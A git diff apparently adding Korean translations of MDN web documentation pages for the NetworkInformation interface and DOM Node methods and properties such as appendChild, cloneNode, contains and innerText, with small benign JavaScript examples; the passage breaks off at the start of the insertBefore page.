The NetworkInformation interface provides information about the connection a device is using to communicate with the network and provides a means for scripts to be notified if the connection type changes. The NetworkInformation interfaces cannot be instantiated. It is instead accessed through the connection property of the {{domxref("Navigator")}} interface.

+ +

{{AvailableInWorkers}}

+ +

Properties

+ +

This interface also inherits properties of its parent, {{domxref("EventTarget")}}.

+ +
+
+
    +
+
+
{{domxref("NetworkInformation.downlink")}} {{readonlyinline}}
+
Returns the effective bandwidth estimate in megabits per second, rounded to the nearest multiple of 25 kilobits per seconds.
+
{{domxref("NetworkInformation.downlinkMax")}} {{readonlyinline}}
+
Returns the maximum downlink speed, in megabits per second (Mbps), for the underlying connection technology.
+
{{domxref("NetworkInformation.effectiveType")}} {{readonlyinline}}
+
Returns the effective type of the connection meaning one of 'slow-2g', '2g', '3g', or '4g'. This value is determined using a combination of recently observed round-trip time and downlink values.
+
{{domxref("NetworkInformation.rtt")}} {{readonlyinline}}
+
Returns the estimated effective round-trip time of the current connection, rounded to the nearest multiple of 25 milliseconds.
+
{{domxref("NetworkInformation.saveData")}} {{readonlyinline}}
+
Returns true if the user has set a reduced data usage option on the user agent.
+
{{domxref("NetworkInformation.type")}} {{readonlyinline}}
+
Returns the type of connection a device is using to communicate with the network. It will be one of the following values: +
    +
  • bluetooth
  • +
  • cellular
  • +
  • ethernet
  • +
  • none
  • +
  • wifi
  • +
  • wimax
  • +
  • other
  • +
  • unknown
  • +
+
+
+ +

Event handlers

+ +
+
{{domxref("NetworkInformation.onchange")}}
+
The event that's fired when connection information changes and the {{event("change")}} is fired on this object.
+
+ +

Methods

+ +

This interface also inherits methods of its parent, {{domxref("EventTarget")}}.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Network Information', '#-dfn-networkinformation-dfn-interface', 'NetworkInformation')}}{{Spec2('Network Information')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.NetworkInformation")}}

+ +

See also

+ + diff --git a/files/ko/web/api/node/appendchild/index.html b/files/ko/web/api/node/appendchild/index.html new file mode 100644 index 0000000000..991c1f6136 --- /dev/null +++ b/files/ko/web/api/node/appendchild/index.html @@ -0,0 +1,125 @@ +--- +title: Node.appendChild() +slug: Web/API/Node/appendChild +tags: + - 노드 붙이기 + - 노드 이동 + - 돔 +translation_of: Web/API/Node/appendChild +--- +
{{APIRef("DOM")}}
+ +

Node.appendChild() 메소드는 한 노드를 특정 부모 노드의 자식 노드 리스트 중 마지막 자식으로 붙입니다. 만약 주어진 노드가 이미 문서에 존재하는 노드를 참조하고 있다면 appendChild() 메소드는 노드를 현재 위치에서 새로운 위치로 이동시킵니다. (문서에 존재하는 노드를 다른 곳으로 붙이기 전에 부모 노드로 부터 지워버릴 필요는 없습니다.)

+ +

이것은 한 노드가 문서상의 두 지점에 동시에 존재할 수 없다는 것을 의미합니다. 그래서 만약 노드가 이미 부모를 가지고 있다면 우선 삭제되고 새로운 위치로 이동합니다. 

+ +

{{domxref("Node.cloneNode()")}} 메소드는 노드가 새로운 부모의 밑으로 붙기 전에 노드를 복제합니다.  cloneNode 메소드로 만들어진 복사된 노드들은 자동적으로 문서에 적용되지 않는다는 것에 주의하세요.

+ +

이 메소드는 서로 다른 문서로 노드를 이동시키진 못합니다. 만약 노드를  다른 문서로 이동시키고 싶다면 {{domxref("document.importNode()")}} 메소드를 사용하셔야 합니다.

+ +

Syntax

+ +
var aChild = element.appendChild(aChild);
+ +

이동한 자식 노드를 반환합니다.

+ +

Example

+ +
// 새로운 단락 요소를 생성하고 문서에 있는 바디 요소의 끝에 붙입니다.
+var p = document.createElement("p");
+document.body.appendChild(p);
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-node-appendchild', 'Node.appendChild()')}}{{Spec2('DOM WHATWG')}}No change from {{SpecName("DOM3 Core")}}.
{{SpecName('DOM3 Core', 'core.html#ID-184E7107', 'Node.appendChild()')}}{{Spec2('DOM3 Core')}}No change from {{SpecName("DOM2 Core")}}.
{{SpecName('DOM2 Core', 'core.html#ID-184E7107', 'Node.appendChild()')}}{{Spec2('DOM2 Core')}}No change from {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-core.html#ID-184E7107', 'Node.appendChild()')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

 

+ +

See also

+ + diff --git a/files/ko/web/api/node/childnodes/index.html b/files/ko/web/api/node/childnodes/index.html new file mode 100644 index 0000000000..b57a8eabc3 --- /dev/null +++ b/files/ko/web/api/node/childnodes/index.html @@ -0,0 +1,51 @@ +--- +title: element.childNodes +slug: Web/API/Node/childNodes +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Node/childNodes +--- +

{{ ApiRef() }}

+

요약

+

childNodes는 주어진 요소의 자식 노드 모음( + + collection + )을 반환합니다.

+

구문과 값

+
var ndList = elementNodeReference.childNodes;
+
+

ndList는 현재 요소의 자식인 노드 개체의 순서 있는 모음입니다. 요소가 자식이 없으면, ndList는 아무 노드도 포함하지 않습니다.

+

ndList는 childNodes의 노드 목록을 저장하는 변수입니다. 그 목록은 NodeList 형입니다. childNodes 속성은 읽기 전용입니다.

+

+
// parg는 <p> 요소 개체 참조
+if (parg.hasChildNodes())
+// 그래서, 먼저 개체가 찼는 지(자식 노드가 있는 지) 검사
+ {
+   var children = parg.childNodes;
+   for (var i = 0; i < children.length; i++)
+   {
+   // children[i]로 각 자식에 무언가를 함
+   // 주의: 목록은 유효해(live), 자식 추가나 제거는 목록을 바꿈
+   };
+ };
+
+
// This는 노드에서 모든 자식을 제거하는 한 방법
+// box는 자식 있는 요소 개체 참조
+while (box.firstChild)
+ {
+    //목록은 유효해서(LIVE) 호출마다 재배열(re-index)함
+    box.removeChild(box.firstChild);
+ };
+
+

주의

+

노드 모음의 항목은 문자열이 아니라 개체입니다. 그 노드 개체에서 데이터를 얻으려면, 속성(예컨대 이름을 얻으려면 elementNodeReference.childNodes{{ mediawiki.external(1) }}.nodeName 등)을 써야 합니다.

+

document 개체는 자식이 둘입니다. Doctype 선언과 HTML 요소.

+

명세

+ +

{{ languages( { "en": "en/DOM/element.childNodes", "fr": "fr/DOM/element.childNodes", "pl": "pl/DOM/element.childNodes" } ) }}

diff --git a/files/ko/web/api/node/clonenode/index.html b/files/ko/web/api/node/clonenode/index.html new file mode 100644 index 0000000000..36e4c8e0d5 --- /dev/null +++ b/files/ko/web/api/node/clonenode/index.html @@ -0,0 +1,160 @@ +--- +title: Node.cloneNode() +slug: Web/API/Node/cloneNode +translation_of: Web/API/Node/cloneNode +--- +
{{APIRef("DOM")}}
+ +
Node.cloneNode() 메서드는 이 메서드를 호출한 Node 의 복제된 Node를 반환합니다.
+ +

Syntax

+ +
var dupNode = node.cloneNode(deep);
+
+ +
+
node
+
복제되어야 할 node.
+
dupNode
+
복제된 새로운 node.
+
deep {{optional_inline}}
+
해당 node의 children 까지 복제하려면 true, 해당 node 만 복제하려면 false
+
+ +
+

Note: In the DOM4 specification (as implemented in Gecko 13.0 {{geckoRelease(13)}}), deep is an optional argument. If omitted, the method acts as if the value of deep was true, defaulting to using deep cloning as the default behavior. To create a shallow clone, deep must be set to false.

+ +

This behavior has been changed in the latest spec, and if omitted, the method will act as if the value of deep was false. Though It's still optional, you should always provide the deep argument both for backward and forward compatibility. With Gecko 28.0 {{geckoRelease(28)}}), the console warned developers not to omit the argument. Starting with Gecko 29.0 {{geckoRelease(29)}}), a shallow clone is defaulted instead of a deep clone.

+
+ +

Example

+ +
var p = document.getElementById("para1");
+var p_prime = p.cloneNode(true);
+
+ +

Notes

+ +

Cloning a node copies all of its attributes and their values, including intrinsic (in–line) listeners. It does not copy event listeners added using addEventListener() or those assigned to element properties. (e.g. node.onclick = fn) Moreover, for a <canvas> element, the painted image is not copied.

+ +

The duplicate node returned by cloneNode() is not part of the document until it is added to another node that is part of the document using {{domxref("Node.appendChild()")}} or a similar method. It also has no parent until it is appended to another node.

+ +

If deep is set to false, child nodes are not cloned. Any text that the node contains is not cloned either, as it is contained in one or more child {{domxref("Text")}} nodes.

+ +

If deep evaluates to true, the whole subtree (including text that may be in child {{domxref("Text")}} nodes) is copied too. For empty nodes (e.g. {{HTMLElement("img")}} and {{HTMLElement("input")}} elements) it doesn't matter whether deep is set to true or false.

+ +
Warning: cloneNode() may lead to duplicate element IDs in a document.
+ +

If the original node has an ID and the clone is to be placed in the same document, the ID of the clone should be modified to be unique. Name attributes may need to be modified also, depending on whether duplicate names are expected.

+ +

To clone a node for appending to a different document, use {{domxref("Document.importNode()")}} instead.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-node-clonenode", "Node.cloneNode()")}}{{Spec2("DOM WHATWG")}} 
{{SpecName("DOM3 Core", "core.html#ID-3A0ED0A4", "Node.cloneNode()")}}{{Spec2("DOM3 Core")}} 
{{SpecName("DOM2 Core", "core.html#ID-3A0ED0A4", "Node.cloneNode()")}}{{Spec2("DOM2 Core")}}Initial definition
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
deep as an optional parameter +

{{CompatVersionUnknown}}[1]

+
{{CompatVersionUnknown}}{{CompatGeckoDesktop("13.0")}}{{CompatVersionUnknown}}{{CompatUnknown}} +

{{CompatVersionUnknown}}[1]

+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
deep as an optional parameter{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("13.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Default value for the deep parameter is false.

diff --git a/files/ko/web/api/node/contains/index.html b/files/ko/web/api/node/contains/index.html new file mode 100644 index 0000000000..982c26ae4c --- /dev/null +++ b/files/ko/web/api/node/contains/index.html @@ -0,0 +1,105 @@ +--- +title: Node.contains() +slug: Web/API/Node/contains +translation_of: Web/API/Node/contains +--- +
{{APIRef("DOM")}}
+ +

Node.contains() 메소드는 주어진 인자가 node 의 자손인지, 아닌지에 대한 {{jsxref("Boolean")}} 값을 리턴합니다.

+ +

Syntax

+ +
node.contains( otherNode )
+
+ +

Example

+ +

이 함수는 요소가 페이지의 body 안에 있는지 검사합니다.  contains 는 포괄적이므로 node 가 body 자기 자신일 경우에도 true 가 반환됩니다. 만약 이걸 원하지 않는 경우에는 node 가 body 자기 자신인지 검사하여  false 를 반환하여 버리면 됩니다.

+ +
function isInPage(node) {
+  return (node === document.body) ? false : document.body.contains(node);
+}
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-node-contains", "Node.contains()")}}{{Spec2("DOM WHATWG")}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("9.0")}}5.0[1]{{CompatVersionUnknown}}3.0[2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("9.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Internet Explorer only supports contains() for elements.

+ +

[2] Safari 2.x implemented contains() incorrectly.

+ +

See also

+ + diff --git a/files/ko/web/api/node/firstchild/index.html b/files/ko/web/api/node/firstchild/index.html new file mode 100644 index 0000000000..105c335e1c --- /dev/null +++ b/files/ko/web/api/node/firstchild/index.html @@ -0,0 +1,67 @@ +--- +title: element.firstChild +slug: Web/API/Node/firstChild +tags: + - DOM + - Gecko +translation_of: Web/API/Node/firstChild +--- +

{{ ApiRef() }}

+ +

요약

+ +

트리에서 노드의 첫 번째 자식이나 null(노드가 자식이 없으면)을 반환합니다.

+ +

구문

+ +
childNode =node.firstChild;
+
+ +

childNode는 자식이 있으면 node의 첫 번째 자식 참조이고 없으면 null입니다.

+ +

+ +

이 예는 firstChild의 쓰임과 공백 노드가 어떻게 이 프로퍼티 사용을 방해하는 지 실제로 보입니다. Gecko DOM에서 공백 처리에 관한 더 많은 정보는 {{ Anch("Notes") }} 절을 보세요.

+ +
<p id="para-01">
+  <span>First span</span>
+</p>
+
+<script type="text/javascript">
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstChild.nodeName)
+</script>
+
+ +

위에서, alert은 텍스트 노드가 여는 태그 <p>의 끝과 여는 태그 <span> 사이에 공백을 유지하여 삽입되었기 때문에 '#text'를 보입니다. space 하나에서 여럿, return, tab 등 어떤 공백이든 #text 노드에 삽입되게 됩니다.

+ +

다른 #text 노드는 닫는 태그 </span>과 닫는 태그 </p> 사이에 삽입됩니다.

+ +

이 공백을 소스에서 제거하면, #text 노드는 삽입되지 않고 span 요소가 paragraph의 첫 번째 자식이 됩니다.

+ +
<p id="para-01"><span>First span</span></p>
+
+<script type="text/javascript">
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstChild.nodeName)
+</script>
+
+ +

이제 alert은 'SPAN'을 보입니다.

+ +

주의

+ +

Gecko 기반 브라우저는 소스 마크업에서 공백을 나타내기 위해 문서 내에 텍스트 노드를 삽입합니다. + 그러므로 예를 들어 Node.firstChildNode.previousSibling을 통해서 얻은 노드는 작성자가 얻으려 한 실제 요소와는 + 달리 공백 텍스트 노드를 참조할 지도 모릅니다.

+ +

더 많은 정보는 Whitespace in the DOM과 + W3C DOM 3 FAQ: Why are some Text nodes empty?를 보세요.

+ +

명세

+ +

DOM Level 1 Core: firstChild

+ +

DOM Level 2 Core: firstChild

+ +

{{ languages( { "en": "en/DOM/element.firstChild", "fr": "fr/DOM/element.firstChild", "pl": "pl/DOM/element.firstChild" } ) }}

diff --git a/files/ko/web/api/node/haschildnodes/index.html b/files/ko/web/api/node/haschildnodes/index.html new file mode 100644 index 0000000000..eff203c8a8 --- /dev/null +++ b/files/ko/web/api/node/haschildnodes/index.html @@ -0,0 +1,42 @@ +--- +title: Node.hasChildNodes() +slug: Web/API/Node/hasChildNodes +tags: + - API + - DOM + - Method + - Node +translation_of: Web/API/Node/hasChildNodes +--- +
+
{{APIRef("DOM")}}
+
+ +

Node.hasChildNodes() 메소드는 현재 노드({{domxref("Node")}})에게 자식노드(child nodes)가 있는지를 {{jsxref("Boolean")}} 값으로 반환합니다.

+ +

구문

+ +
node.hasChildNodes()
+ +

예시

+ +

아래 예시에서는 "foo"라는 id를 가진 요소를 찾고 "foo" 요소에게 자식노드가 있으면 첫번째 자식노드를 제거해줍니다.

+ +
var foo = document.getElementById("foo");
+
+if ( foo.hasChildNodes() ) {
+  foo.removeChild( foo.childNodes[0] );
+}
+ +

명세

+ + + +

같이 보기

+ + diff --git a/files/ko/web/api/node/index.html b/files/ko/web/api/node/index.html new file mode 100644 index 0000000000..ed301eff02 --- /dev/null +++ b/files/ko/web/api/node/index.html @@ -0,0 +1,263 @@ +--- +title: Node +slug: Web/API/Node +tags: + - DOM + - Node +translation_of: Web/API/Node +--- +
{{APIRef("DOM")}}
+ +

Node는 여러 가지 DOM 타입들이 상속하는 인터페이스이며 그 다양한 타입들을 비슷하게 처리할 수 있게 한다. 예를들어, 똑같은 메소드를 상속하거나 똑같은 방식으로 테스트를 할수있다

+ +

다음의 인터페이스들은 모두 Node로부터 메소드와 프라퍼티를 상속한다: {{domxref("Document")}}, {{domxref("Element")}}, {{domxref("CharacterData")}} ({{domxref("Text")}}, {{domxref("Comment")}}, {{domxref("CDATASection")}}이 상속), {{domxref("ProcessingInstruction")}}, {{domxref("DocumentFragment")}}, {{domxref("DocumentType")}}, {{domxref("Notation")}}, {{domxref("Entity")}}, {{domxref("EntityReference")}}

+ +

이 인터페이스들은 메소드나 프라퍼티가 적합하지 않은 경우에 null을 반환할 수 있다. 그들은 예외를 발생할 수 있다 - 예를 들어 자식이 있을 수 없는 노드 타입에 자식을 추가할 때 말이다.

+ +

프라퍼티 <속성>

+ +

부모인 {{domxref("EventTarget")}}으로부터 프라퍼티를 상속한다.[1]

+ +
+
{{domxref("Node.baseURI")}} {{readonlyInline}}
+
Returns a {{domxref("DOMString")}} representing the base URL. The concept of base URL changes from one language to another; in HTML, it corresponds to the protocol, the domain name and the directory structure, that is all until the last '/'.
+
{{domxref("Node.baseURIObject")}} {{Non-standard_inline()}} {{ Fx_minversion_inline("3") }}
+
(Not available to web content.) The read-only {{ Interface("nsIURI") }} object representing the base URI for the element.
+
{{domxref("Node.childNodes")}} {{readonlyInline}}
+
Returns a live {{domxref("NodeList")}} containing all the children of this node. {{domxref("NodeList")}} being live means that if the children of the Node change, the {{domxref("NodeList")}} object is automatically updated.
+
{{domxref("Node.firstChild")}} {{readonlyInline}}
+
Returns a {{domxref("Node")}} representing the first direct child node of the node, or null if the node has no child.
+
{{domxref("Node.lastChild")}} {{readonlyInline}}
+
Returns a {{domxref("Node")}} representing the last direct child node of the node, or null if the node has no child.
+
{{domxref("Node.localName")}} {{obsolete_inline}}{{readonlyInline}}
+
Returns a {{domxref("DOMString")}} representing the local part of the qualified name of an element. In Firefox 3.5 and earlier, the property upper-cases the local name for HTML elements (but not XHTML elements). In later versions, this does not happen, so the property is in lower case for both HTML and XHTML. {{ gecko_minversion_inline("1.9.2") }}
+ Though recent specifications require localName to be defined on the {{domxref("Element")}} interface, Gecko-based browsers still implement it on the {{domxref("Node")}} interface.
+
{{domxref("Node.namespaceURI")}} {{obsolete_inline}}{{readonlyInline}}
+
The namespace URI of this node, or null if it is no namespace. In Firefox 3.5 and earlier, HTML elements are in no namespace. In later versions, HTML elements are in the http://www.w3.org/1999/xhtml namespace in both HTML and XML trees. {{ gecko_minversion_inline("1.9.2") }}
+ Though recent specifications require namespaceURI to be defined on the {{domxref("Element")}} interface, Gecko-based browsers still implement it on the {{domxref("Node")}} interface.
+
{{domxref("Node.nextSibling")}} {{readonlyInline}}
+
Returns a {{domxref("Node")}} representing the next node in the tree, or null if there isn't such node.
+
{{domxref("Node.nodeName")}} {{readonlyInline}}
+
Returns a {{domxref("DOMString")}} containing the name of the Node. The structure of the name will differ with the name type. E.g. An {{domxref("HTMLElement")}} will contain the name of the corresponding tag, like 'audio' for an {{domxref("HTMLAudioElement")}}, a {{domxref("Text")}} node will have the '#text' string, or a {{domxref("Document")}} node will have the '#document' string.
+
{{domxref("Node.nodePrincipal")}} {{Non-standard_inline()}}{{ Fx_minversion_inline("3") }}
+
A {{ Interface("nsIPrincipal") }} representing the node principal.
+
{{domxref("Node.nodeType")}}{{readonlyInline}}
+
Returns an unsigned short representing the type of the node. Possible values are: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameValue
ELEMENT_NODE1
ATTRIBUTE_NODE {{deprecated_inline()}}2
TEXT_NODE3
CDATA_SECTION_NODE {{deprecated_inline()}}4
ENTITY_REFERENCE_NODE {{deprecated_inline()}}5
ENTITY_NODE {{deprecated_inline()}}6
PROCESSING_INSTRUCTION_NODE7
COMMENT_NODE8
DOCUMENT_NODE9
DOCUMENT_TYPE_NODE10
DOCUMENT_FRAGMENT_NODE11
NOTATION_NODE {{deprecated_inline()}}12
+
+
{{domxref("Node.nodeValue")}}
+
Is a {{domxref("DOMString")}} representing the value of an object. For most Node type, this returns null and any set operation is ignored. For nodes of type TEXT_NODE ({{domxref("Text")}} objects), COMMENT_NODE ({{domxref("Comment")}} objects), and PROCESSING_INSTRUCTION_NODE ({{domxref("ProcessingInstruction")}} objects), the value corresponds to the text data contained in the object.
+
{{domxref("Node.ownerDocument")}} {{readonlyInline}}
+
Returns the {{domxref("Document")}} that this node belongs to. If no document is associated with it, returns null.
+
{{domxref("Node.parentNode")}} {{readonlyInline}}
+
Returns a {{domxref("Node")}} that is the parent of this node. If there is no such node, like if this node is the top of the tree or if doesn't participate in a tree, this property returns null.
+
{{domxref("Node.parentElement")}} {{readonlyInline}}
+
Returns an {{domxref("Element")}} that is the parent of this node. If the node has no parent, or if that parent is not an {{domxref("Element")}}, this property returns null.
+
{{domxref("Node.prefix")}} {{obsolete_inline}}{{readonlyInline}}
+
Is a {{domxref("DOMString")}} representing the namespace prefix of the node, or null if no prefix is specified.
+ Though recent specifications require prefix to be defined on the {{domxref("Element")}} interface, Gecko-based browsers still implement it on the {{domxref("Node")}} interface.
+
{{domxref("Node.previousSibling")}} {{readonlyInline}}
+
Returns a {{domxref("Node")}} representing the previous node in the tree, or null if there isn't such node.
+
{{domxref("Node.textContent")}}
+
Is a {{domxref("DOMString")}} representing the textual content of an element and all its descendants.
+
+ +

메소드

+ +

부모인 {{domxref("EventTarget")}}으로부터 메소드를 상속한다.[1]

+ +
+
{{domxref("Node.appendChild()")}}
+
Insert a {{domxref("Node")}} as the last child node of this element.
+
{{domxref("Node.cloneNode()")}}
+
Clone a {{domxref("Node")}}, and optionally, all of its contents. By default, it clones the content of the node.
+
{{domxref("Node.compareDocumentPosition()")}}
+
+
{{domxref("Node.contains()")}}
+
+
{{domxref("Node.getFeature()")}} {{obsolete_inline}}
+
...
+
{{domxref("Node.getUserData()")}} {{obsolete_inline}}
+
Allows a user to get some {{domxref("DOMUserData")}} from the node.
+
{{domxref("Node.hasAttributes()")}} {{obsolete_inline}}
+
Returns a {{domxref("Boolean")}} indicating if the element has any attributes, or not.
+
{{domxref("Node.hasChildNodes()")}}
+
Returns a {{domxref("Boolean")}} indicating if the element has any child nodes, or not.
+
{{domxref("Node.insertBefore()")}}
+
Inserts the first {{domxref("Node")}} given in a parameter immediately before the second, child of this element, {{domxref("Node")}}.
+
{{domxref("Node.isDefaultNamespace()")}}
+
+
{{domxref("Node.isEqualNode()")}}
+
+
{{domxref("Node.isSameNode()")}} {{obsolete_inline}}
+
+
{{domxref("Node.isSupported()")}} {{obsolete_inline}}
+
Returns a Boolean flag containing the result of a test whether the DOM implementation implements a specific feature and this feature is supported by the specific node.
+
{{domxref("Node.lookupPrefix()")}}
+
+
{{domxref("Node.lookupNamespaceURI()")}}
+
+
{{domxref("Node.normalize()")}}
+
Clean up all the text nodes under this element (merge adjacent, remove empty).
+
{{domxref("Node.removeChild()")}}
+
Removes a child node from the current element, which must be a child of the current node.
+
{{domxref("Node.replaceChild()")}}
+
Replaces one child {{domxref("Node")}} of the current one with the second one given in parameter.
+
{{domxref("Node.setUserData()")}} {{obsolete_inline}}
+
Allows a user to attach, or remove, {{domxref("DOMUserData")}} to the node.
+
+ +

예제

+ +

모든 자식 노드 탐색

+ +

The following function recursively cycles all child nodes of a node and executes a callback function upon them (and upon the parent node itself).

+ +
function DOMComb (oParent, oCallback) {
+  if (oParent.hasChildNodes()) {
+    for (var oNode = oParent.firstChild; oNode; oNode = oNode.nextSibling) {
+      DOMComb(oNode, oCallback);
+    }
+  }
+  oCallback.call(oParent);
+}
+ +

Syntax

+ +
DOMComb(parentNode, callbackFunction);
+ +

Description

+ +

Recursively cycle all child nodes of parentNode and parentNode itself and execute the callbackFunction upon them as this objects.

+ +

Parameters

+ +
+
parentNode
+
The parent node (Node Object).
+
callbackFunction
+
The callback function (Function).
+
+ +

Sample usage

+ +

The following example send to the console.log the text content of the body:

+ +
function printContent () {
+  if (this.nodeValue) { console.log(this.nodeValue); }
+}
+
+onload = function () {
+  DOMComb(document.body, printContent);
+};
+ +

한 노드 안에 중첩된 모든 자식 제거

+ +
Element.prototype.removeAll = function () {
+  while (this.firstChild) { this.removeChild(this.firstChild); }
+  return this;
+};
+ +

Sample usage

+ +
/* ... an alternative to document.body.innerHTML = "" ... */
+document.body.removeAll();
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태주석
{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}{{Spec2('DOM WHATWG')}}Removed the following properties: attributes, namespaceURI, prefix, and localName.
+ Removed the following methods: isSupported(), hasAttributes(), isSameNode(), getFeature(), setUserData(), and getUserData().
{{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node')}}{{Spec2('DOM3 Core')}}The methods insertBefore(), replaceChild(), removeChild(), and appendChild() returns one more kind of error (NOT_SUPPORTED_ERR) if called on a {{domxref("Document")}}.
+ The normalize() method has been modified so that {{domxref("Text")}} node can also be normalized if the proper {{domxref("DOMConfiguration")}} flag is set.
+ Added the following methods: compareDocumentPosition(), isSameNode(), lookupPrefix(), isDefaultNamespace(), lookupNamespaceURI(), isEqualNode(), getFeature(), setUserData(), and getUserData().
+ Added the following properties: baseURI and textContent.
{{SpecName('DOM2 Core', 'core.html#ID-1950641247', 'Node')}}{{Spec2('DOM2 Core')}}The ownerDocument property was slightly modified so that {{domxref("DocumentFragment")}} also returns null.
+ Added the following properties: namespaceURI, prefix, and localName.
+ Added the following methods: normalize(), isSupported() and hasAttributes().
{{SpecName('DOM1', 'level-one-core.html#ID-1950641247', 'Node')}}{{Spec2('DOM1')}}Initial definition.
+ +

브라우저 호환성

+ +

{{Compat("api.Node")}}

diff --git a/files/ko/web/api/node/innertext/index.html b/files/ko/web/api/node/innertext/index.html new file mode 100644 index 0000000000..414fab5c00 --- /dev/null +++ b/files/ko/web/api/node/innertext/index.html @@ -0,0 +1,88 @@ +--- +title: Node.innerText +slug: Web/API/Node/innerText +tags: + - API + - DOM + - HTMLElement + - Property + - Reference +translation_of: Web/API/HTMLElement/innerText +--- +
{{APIRef("HTML DOM")}}
+ +

{{domxref("HTMLElement")}} 인터페이스의 innerText 속성은 요소와 그 자손의 렌더링 된 텍스트 콘텐츠를 나타냅니다. innerText는 사용자가 커서를 이용해 요소의 콘텐츠를 선택하고 클립보드에 복사했을 때 얻을 수 있는 텍스트의 근삿값을 제공합니다.

+ +
+

참고: innerText는 {{domxref("Node.textContent")}}와 혼동하기 쉬우나 중요한 차이점을 가지고 있습니다. 기본적으로, innerText는 텍스트의 렌더링 후 모습을 인식할 수 있지만 textContent는 그렇지 않습니다.

+
+ +

구문

+ +
const renderedText = htmlElement.innerText
+htmlElement.innerText = string
+
+ +

+ +

요소의 렌더링 된 텍스트 콘텐츠를 나타내는 {{domxref("DOMString")}}. 요소 자체가 렌더링 중이 아니라면 {{domxref("Node.textContent")}} 속성의 값과 동일합니다.

+ +

예제

+ +

다음 예제는 innerText와 {{domxref("Node.textContent")}}를 비교합니다. innerText가 {{htmlElement("br")}} 태그를 인식하고, 숨겨진 요소를 무시하는 점에 주목하세요.

+ +

HTML

+ +
<h3>원본 요소:</h3>
+<p id="source">
+  <style>#source { color: red; }</style>
+아래에서<br>이 글을<br>어떻게 인식하는지 살펴보세요.
+  <span style="display:none">숨겨진 글</span>
+</p>
+<h3>textContent 결과:</h3>
+<textarea id="textContentOutput" rows="6" cols="30" readonly>...</textarea>
+<h3>innerText 결과:</h3>
+<textarea id="innerTextOutput" rows="6" cols="30" readonly>...</textarea>
+ +

JavaScript

+ +
const source = document.getElementById('source');
+const textContentOutput = document.getElementById('textContentOutput');
+const innerTextOutput = document.getElementById('innerTextOutput');
+
+textContentOutput.innerHTML = source.textContent;
+innerTextOutput.innerHTML = source.innerText;
+ +

결과

+ +

{{EmbedLiveSample("예제", 700, 450)}}

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}{{Spec2('HTML WHATWG')}}Introduced, based on the draft of the innerText specification. See whatwg/html#465 and whatwg/compat#5 for history.
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLElement.innerText")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/node/insertbefore/index.html b/files/ko/web/api/node/insertbefore/index.html new file mode 100644 index 0000000000..a3a0782745 --- /dev/null +++ b/files/ko/web/api/node/insertbefore/index.html @@ -0,0 +1,167 @@ +--- +title: Node.insertBefore() +slug: Web/API/Node/insertBefore +translation_of: Web/API/Node/insertBefore +--- +
+
{{APIRef("DOM")}}
+
+ +

Node.insertBefore() 메소드는 참조된 노드 앞에 특정 부모 노드의 자식 노드를 삽입합니다. 만약 주어진 자식 노드가 document에 존재하는 노드를 참조한다면, insertBefore() 가 자식 노드를 현재 위치에서 새로운 위치로 옮깁니다. (노드를 다른 노드에 추가하기 전에 상위 노드에서 제거할 필요가 없습니다)

+ +

